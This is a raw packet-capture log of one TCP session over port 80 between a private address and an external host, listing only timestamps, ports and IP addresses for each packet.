Dec 24, 2024 12:40:19.391963959 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.393371105 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.393414021 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.393490076 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.393537045 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.394990921 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.395051956 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.395091057 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.395145893 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.396615028 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.396670103 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.396759033 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.396819115 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.398217916 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.398273945 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.398276091 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.398324013 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.399842978 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.399925947 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.399960041 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.400017023 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.401453972 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.401526928 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.401541948 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.401607990 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.403090954 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.403146029 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.403187037 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.403239965 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.404686928 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.404745102 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.404779911 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.404839039 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.406332016 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.406388044 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.406466007 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.406519890 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.407957077 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.408013105 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.408056974 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.408113956 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.409534931 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.409589052 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.409629107 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.409693003 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.411149025 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.411220074 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.411267996 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.411333084 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.412777901 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.412830114 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.412873983 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.412925959 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.414376974 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.414433002 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.414444923 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.414494991 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.416035891 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.416105986 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.416151047 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.416209936 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.417608023 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.417665005 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.417773962 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.417828083 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.419223070 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.419276953 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.419306993 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.419365883 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.420819044 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.420892954 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.420942068 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.420996904 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.422440052 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.422518969 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.422569036 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.422635078 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.424092054 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.424144030 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.424148083 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.424197912 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.425687075 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.425740957 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.425874949 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.425935984 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.427351952 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.427406073 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.427407026 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.427448034 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.428911924 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.428966999 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.428982973 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.429033041 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.430529118 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.430556059 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.430584908 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.430635929 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.432353973 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.432423115 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.432545900 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.432609081 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.435337067 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.435429096 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.435468912 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.435658932 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.438256025 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.438276052 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.438329935 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.439353943 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.439429998 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.439496040 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.439553022 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.440469980 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.440541029 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.440551996 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.440603018 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.441617012 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.441685915 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.441709042 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.441761017 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.442776918 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.442828894 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.442867994 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.442934036 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.444327116 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.444381952 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.444402933 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.444467068 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.445966959 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.446038961 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.446074009 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.446127892 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.447127104 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.447185993 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.447202921 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.447252989 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.448333025 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.448385954 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.448402882 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.448456049 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.449904919 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.449976921 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.449999094 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.450056076 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.451529026 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.451591015 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.451637983 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.451684952 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.453136921 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.453192949 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.453242064 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.453294992 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.454761982 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.454816103 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.454837084 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.454890966 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.456403971 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.456473112 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.562786102 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.562834978 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.562969923 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.562969923 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.563317060 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.563376904 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.563599110 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.563652992 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.563746929 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.563796997 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.565052986 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.565110922 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.565154076 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.565217972 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.566400051 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.566458941 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.566554070 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.566611052 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.567739010 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.567799091 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.567826986 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.567878008 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.569139957 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.569192886 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.569236040 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.569286108 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.570463896 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.570533037 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.570578098 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.570635080 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.571816921 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.571887016 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.571947098 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.572004080 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.573133945 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.573194981 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.573206902 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.573237896 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.574429989 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.574485064 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.574528933 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.574585915 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.575766087 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.575826883 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.575846910 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.575906038 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.576971054 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.577028036 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.577081919 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.577137947 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.578216076 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.578272104 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.578321934 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.578391075 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.579458952 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.579524994 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.579569101 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.579622030 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.580688953 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.580748081 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.580837965 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.580892086 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.581949949 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.582006931 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.582048893 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.582101107 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.583188057 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.583259106 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.583297968 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.583348036 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.584419966 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.584471941 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.584547043 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.584602118 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.585673094 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.585730076 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.585829973 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.585886002 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.586905956 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.586961985 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.587018013 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.587074041 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.588164091 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.588217974 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.588277102 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.588325024 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.589401960 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.589463949 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.589556932 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.589620113 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.590667009 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.590724945 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.590744019 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.590799093 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.591934919 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.592008114 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.592045069 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.592103958 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.593135118 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.593194008 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.593228102 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.593307018 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.594410896 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.594422102 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.594475985 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.595597982 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.595657110 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.595746040 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.595818043 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.597002983 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.597062111 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.597062111 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.597111940 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.598109007 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.598165035 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.598227978 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.598284006 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.599335909 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.599395037 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.599426031 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.599488974 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.600574970 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.600632906 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.600745916 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.600804090 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.601896048 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.601953030 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.601990938 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.602045059 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.603173018 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.603228092 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.603291988 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.603363037 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.604329109 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.604383945 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.604460955 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.604513884 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.605595112 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.605649948 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.605686903 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.605741024 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.606827974 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.606884956 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.606916904 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.606966972 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.608057976 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.608114958 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.608158112 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.608212948 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.609251976 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.609304905 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.609390020 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.609443903 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.610537052 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.610591888 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.610616922 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.610668898 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.611772060 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.611826897 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.611828089 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.611875057 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.612987041 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.613043070 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.613043070 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.613082886 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.614252090 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.614326954 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.614334106 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.614383936 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.615487099 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.615535975 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.615575075 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.615627050 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.616779089 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.616831064 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.616873026 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.616925001 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.618020058 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.618068933 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.618115902 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:19.618165016 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:19.619221926 CET	80	49868	185.215.113.206	192.168.2.5
